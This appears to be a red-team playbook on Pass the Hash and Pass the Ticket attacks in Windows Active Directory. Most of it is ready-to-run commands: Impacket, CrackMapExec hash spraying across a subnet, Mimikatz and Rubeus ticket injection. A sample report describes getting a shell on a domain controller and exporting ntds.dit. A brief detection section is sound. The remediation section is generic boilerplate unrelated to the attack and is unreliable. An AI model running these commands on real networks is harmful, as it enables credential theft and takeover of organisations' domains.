Pass The Hash And Ticket

Pass the Hash (PtH) and Pass the Ticket (PtT)

When to Use

• After successfully dumping credentials (SAM, LSASS) on a breached Windows workstation.
• When attempting to move laterally to a Domain Controller or high-value server without plaintext credentials.
• During Red Team engagements utilizing compromised NTLM hashes or Kerberos TGT/TGS tickets.
• When building automated lateral movement chains in tools like Cobalt Strike or Empire.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Pass the Hash (PtH) Overview

# Concept: Windows NTLM authentication doesn't transmit plaintext passwords over the network.
# It uses the NT Hash. If we possess the NT Hash, we can authenticate directly to services 
# (SMB, WMI, WinRM) as that user without ever needing the cleartext password.

# Required: The victim's NT Hash (e.g., from Mimikatz sekurlsa::logonpasswords or secretsdump.py)
# Format: LM_HASH:NT_HASH (often LM hash is blank/generic e.g., aad3b435b51404eeaad3b435b51404ee)
# NT Hash Example: 8846f7eaee8fb117ad06bdd830b7586c

Phase 2: Pass the Hash Execution (Linux/Impacket)

# From an attacker Linux machine routing into the network, Impacket is the tool of choice.

HASH="aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c"
TARGET="10.10.10.20"
USER="Administrator"

# 1. Psexec.py (Requires SMB access, writes a service payload - Loud but effective)
impacket-psexec -hashes $HASH $USER@$TARGET

# 2. Wmiexec.py (Utilizes WMI, much stealthier, no service bin dropped)
impacket-wmiexec -hashes $HASH $USER@$TARGET

# 3. Smbexec.py (Uses native SMB, creates ephemeral services)
impacket-smbexec -hashes $HASH $USER@$TARGET

# 4. CrackMapExec (Spray the hash across a subnet to see where this user has Admin rights)
crackmapexec smb 10.10.10.0/24 -u $USER -H $HASH --local-auth

Phase 3: Pass the Hash Execution (Windows/Native)

# From a compromised Windows box moving to another Windows box.

# 1. Using Mimikatz to spawn a new CMD prompt running in the security context of the compromised hash.
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP.LOCAL /ntlm:8846f7eaee8fb117ad06bdd830b7586c /run:cmd.exe

# The new CMD window will open. If you type 'whoami' it may still show your original user,
# BUT network authentication will occur as the Administrator!

# Test it:
dir \\dc01.corp.local\C$

Phase 4: Pass the Ticket (PtT) Overview

# Concept: Kerberos is the default AD authentication protocol.
# If we dump a valid Kerberos TGT (Ticket Granting Ticket) or TGS (Service Ticket)
# (.kirbi or .ccache format), we can inject it into our session memory to impersonate the user.
# PtT is significantly stealthier than PtH.

# Extraction:
# Windows (Rubeus): Rubeus.exe dump /nowrap
# Linux (Impacket/secretsdump)

Phase 5: Pass the Ticket Execution (Windows/Rubeus)

# 1. We have a dumped ticket (base64 or .kirbi format) from a high privilege user.

# 2. Inject the ticket into our current session memory using Rubeus
Rubeus.exe ptt /ticket:base64_string_here_or_file.kirbi

# 3. Verify the ticket is in memory
klist

# 4. Access the target network resource, Kerberos will authenticate us transparently
dir \\dc01.corp.local\C$

Phase 6: Pass the Ticket Execution (Linux/Impacket)

# We have a .ccache file (or converted a .kirbi to .ccache)

# 1. Set the KRB5CCNAME environmental variable to point to the ticket
export KRB5CCNAME=/path/to/ticket.ccache

# 2. Use Impacket tools with the `-k` (Use Kerberos) and `-no-pass` flags.
impacket-wmiexec -k -no-pass dc01.corp.local

🔵 Blue Team Detection & Defense

• KB2871997 / LSA Protection: Enable LSA protection (RunAsPPL) to stop Mimikatz from dumping hashes and tickets from LSASS memory.
• Disable NTLM: If the network supports it, disable NTLM entirely forcing the network to on Kerberos, mitigating classic Pass the Hash.
• Privileged Access Workstations (PAW): Domain Admins should only log in to highly secured PAWs. If an Admin logs into a standard compromised workstation, their Hashes/Tickets are left in memory for attackers to steal. Tiered Administration models prevent this.
• Event Logging: Monitor Windows Event Alerts. PtH often triggers Event ID 4624 (Logon Type 9 - NewCredentials). PtT triggers anomalous Kerberos Ticket requests (Event ID 4769).

Key Concepts

Output Format

Lateral Movement Execution Report
=================================
Source Node: Workstation-05 (10.10.10.55)
Target Node: DC-01 (10.10.10.2)
Execution Method: Pass the Hash (Impacket-WMIexec)

Compromised Identity: CORP\Svc_Backup
NTLM Hash: FDB8DEB2D6...

Action Log:
1. Executed wmiexec targeting DC-01 using Svc_Backup hash.
2. Successful authentication via NTLMv2.
3. Semi-interactive shell established on Domain Controller.
4. Executed payload to export ntds.dit (Domain Database).

OPSEC Status: Moderate. WMIexec creates Event ID 4624 Logon Type 3, but bypasses noisy service creation compared to PsExec.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• MITRE ATT&CK: Pass the Hash (T1550.002)
• MITRE ATT&CK: Pass the Ticket (T1550.003)
• SpecterOps: Rubeus Documentation
• SecureAuth: Impacket Documentation